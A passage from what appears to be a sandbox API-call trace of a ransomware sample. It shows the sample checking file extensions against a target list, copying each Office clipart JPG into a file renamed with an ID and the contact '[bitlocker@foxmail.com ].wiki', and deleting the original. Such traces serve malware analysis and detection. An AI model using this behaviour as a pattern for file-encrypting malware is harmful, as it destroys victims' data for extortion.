[0199.139] SetEndOfFile (hFile=0x1f0) returned 1 [0199.139] CloseHandle (hObject=0x1f0) returned 1 [0199.139] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.139] SetEndOfFile (hFile=0x1fc) returned 1 [0199.140] CloseHandle (hObject=0x1fc) returned 1 [0199.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175361.jpg")) returned 1 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString=".doc") returned 4 [0199.141] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.141] lstrlenW (lpString=".docx") returned 5 [0199.141] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0199.141] lstrlenW (lpString=".pdf") returned 4 [0199.141] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.141] lstrlenW (lpString=".xls") returned 4 [0199.141] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.141] lstrlenW (lpString=".xlsx") returned 5 [0199.141] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0199.141] lstrlenW (lpString=".ppt") returned 4 [0199.141] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString=".zip") returned 4 [0199.141] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.141] lstrlenW (lpString=".rar") returned 4 [0199.141] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.141] lstrlenW (lpString=".bz2") returned 4 [0199.141] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.141] lstrlenW (lpString=".7z") returned 3 [0199.141] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString=".dbf") returned 4 [0199.141] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString=".1cd") returned 4 [0199.141] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.141] lstrlenW (lpString=".jpg") returned 4 [0199.141] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.142] lstrlenW (lpString=".doc") returned 4 [0199.142] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.142] lstrlenW (lpString=".docx") returned 5 [0199.142] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0199.142] lstrlenW (lpString=".pdf") returned 4 [0199.142] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.142] lstrlenW (lpString=".xls") returned 4 [0199.142] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.142] lstrlenW (lpString=".xlsx") returned 5 [0199.142] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0199.142] lstrlenW (lpString=".ppt") returned 4 [0199.142] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.142] lstrlenW (lpString=".zip") returned 4 [0199.142] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.142] lstrlenW (lpString=".rar") returned 4 [0199.142] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.142] lstrlenW (lpString=".bz2") returned 4 [0199.142] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.142] lstrlenW (lpString=".7z") returned 3 [0199.142] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.142] lstrlenW (lpString=".dbf") returned 4 [0199.142] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.142] lstrlenW (lpString=".1cd") returned 4 [0199.142] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175361.JPG") returned 63 [0199.143] lstrlenW (lpString=".jpg") returned 4 [0199.143] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.143] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.143] lstrlenW (lpString="J0175428.JPG") returned 12 [0199.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.143] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14552) returned 1 [0199.143] CloseHandle (hObject=0x1fc) returned 1 [0199.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 0x20 [0199.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.144] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.144] GetLastError () returned 0x0 [0199.144] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x38d8, lpOverlapped=0x0) returned 1 [0199.146] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x38e0, lpOverlapped=0x0) returned 1 [0199.147] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.147] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.147] SetEndOfFile (hFile=0x1f0) returned 1 [0199.147] CloseHandle (hObject=0x1f0) returned 1 [0199.147] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.147] SetEndOfFile (hFile=0x1fc) returned 1 [0199.148] CloseHandle (hObject=0x1fc) returned 1 [0199.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg")) returned 1 [0199.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.149] lstrlenW (lpString=".doc") returned 4 [0199.149] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.149] lstrlenW (lpString=".docx") returned 5 [0199.149] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0199.149] lstrlenW (lpString=".pdf") returned 4 [0199.149] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.149] lstrlenW (lpString=".xls") returned 4 [0199.149] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.149] lstrlenW (lpString=".xlsx") returned 5 [0199.149] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0199.149] lstrlenW (lpString=".ppt") returned 4 [0199.149] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.149] lstrlenW (lpString=".zip") returned 4 [0199.149] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.149] lstrlenW (lpString=".rar") returned 4 [0199.149] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.149] lstrlenW (lpString=".bz2") returned 4 [0199.149] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.149] lstrlenW (lpString=".7z") returned 3 [0199.149] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.149] lstrlenW (lpString=".dbf") returned 4 [0199.149] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.150] lstrlenW (lpString=".1cd") returned 4 [0199.150] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.150] lstrlenW (lpString=".jpg") returned 4 [0199.150] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.150] lstrlenW (lpString=".doc") returned 4 [0199.150] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.150] lstrlenW (lpString=".docx") returned 5 [0199.150] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0199.150] lstrlenW (lpString=".pdf") returned 4 [0199.150] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.150] lstrlenW (lpString=".xls") returned 4 [0199.150] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.150] lstrlenW (lpString=".xlsx") returned 5 [0199.150] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0199.150] lstrlenW (lpString=".ppt") returned 4 [0199.150] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.150] lstrlenW (lpString=".zip") returned 4 [0199.150] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.150] lstrlenW (lpString=".rar") returned 4 [0199.150] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.150] lstrlenW (lpString=".bz2") returned 4 [0199.150] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.150] lstrlenW (lpString=".7z") returned 3 [0199.150] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.151] lstrlenW (lpString=".dbf") returned 4 [0199.151] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.151] lstrlenW (lpString=".1cd") returned 4 [0199.151] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG") returned 63 [0199.151] lstrlenW (lpString=".jpg") returned 4 [0199.151] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.151] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.151] lstrlenW (lpString="J0177257.JPG") returned 12 [0199.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.151] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=45358) returned 1 [0199.152] CloseHandle (hObject=0x1fc) returned 1 [0199.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 0x20 [0199.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.152] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0199.152] GetLastError () returned 0x0 [0199.152] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xb12e, lpOverlapped=0x0) returned 1 [0199.157] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb130, lpOverlapped=0x0) returned 1 [0199.159] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.159] WriteFile (in: hFile=0x1f0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.159] SetEndOfFile (hFile=0x1f0) returned 1 [0199.159] CloseHandle (hObject=0x1f0) returned 1 [0199.159] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.159] SetEndOfFile (hFile=0x1fc) returned 1 [0199.160] CloseHandle (hObject=0x1fc) returned 1 [0199.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg")) returned 1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.161] lstrlenW (lpString=".doc") returned 4 [0199.161] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.161] lstrlenW (lpString=".docx") returned 5 [0199.161] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0199.161] lstrlenW (lpString=".pdf") returned 4 [0199.161] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.161] lstrlenW (lpString=".xls") returned 4 [0199.161] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.161] lstrlenW (lpString=".xlsx") returned 5 [0199.161] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0199.161] lstrlenW (lpString=".ppt") returned 4 [0199.161] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.161] lstrlenW (lpString=".zip") returned 4 [0199.161] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.161] lstrlenW (lpString=".rar") returned 4 [0199.161] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.161] lstrlenW (lpString=".bz2") returned 4 [0199.161] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.161] lstrlenW (lpString=".7z") returned 3 [0199.161] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.161] lstrlenW (lpString=".dbf") returned 4 [0199.161] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.161] lstrlenW (lpString=".1cd") returned 4 [0199.162] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.162] lstrlenW (lpString=".jpg") returned 4 [0199.162] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.162] lstrlenW (lpString=".doc") returned 4 [0199.162] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0199.162] lstrlenW (lpString=".docx") returned 5 [0199.162] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0199.162] lstrlenW (lpString=".pdf") returned 4 [0199.162] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0199.162] lstrlenW (lpString=".xls") returned 4 [0199.162] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0199.162] lstrlenW (lpString=".xlsx") returned 5 [0199.162] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0199.162] lstrlenW (lpString=".ppt") returned 4 [0199.162] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.162] lstrlenW (lpString=".zip") returned 4 [0199.162] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0199.162] lstrlenW (lpString=".rar") returned 4 [0199.162] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0199.162] lstrlenW (lpString=".bz2") returned 4 [0199.162] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0199.162] lstrlenW (lpString=".7z") returned 3 [0199.162] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0199.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.163] lstrlenW (lpString=".dbf") returned 4 [0199.163] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0199.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.163] lstrlenW (lpString=".1cd") returned 4 [0199.163] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0199.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG") returned 63 [0199.163] lstrlenW (lpString=".jpg") returned 4 [0199.163] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0199.163] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0199.163] lstrlenW (lpString="J0178348.JPG") returned 12 [0199.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.288] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=36989) returned 1 [0199.288] CloseHandle (hObject=0x1fc) returned 1 [0199.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg")) returned 0x20 [0199.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0199.301] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.301] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0199.314] GetLastError () returned 0x0 [0199.314] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x907d, lpOverlapped=0x0) returned 1 [0199.316] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9080, lpOverlapped=0x0) returned 1 [0199.317] ReadFile (in: hFile=0x1fc, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.317] WriteFile (in: hFile=0x1cc, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0199.318] SetEndOfFile (hFile=0x1cc) returned 1 [0199.318] CloseHandle (hObject=0x1cc) returned 1 [0199.318] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.318] SetEndOfFile (hFile=0x1fc) returned 1 [0199.319] CloseHandle (hObject=0x1fc) returned 1 [0199.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 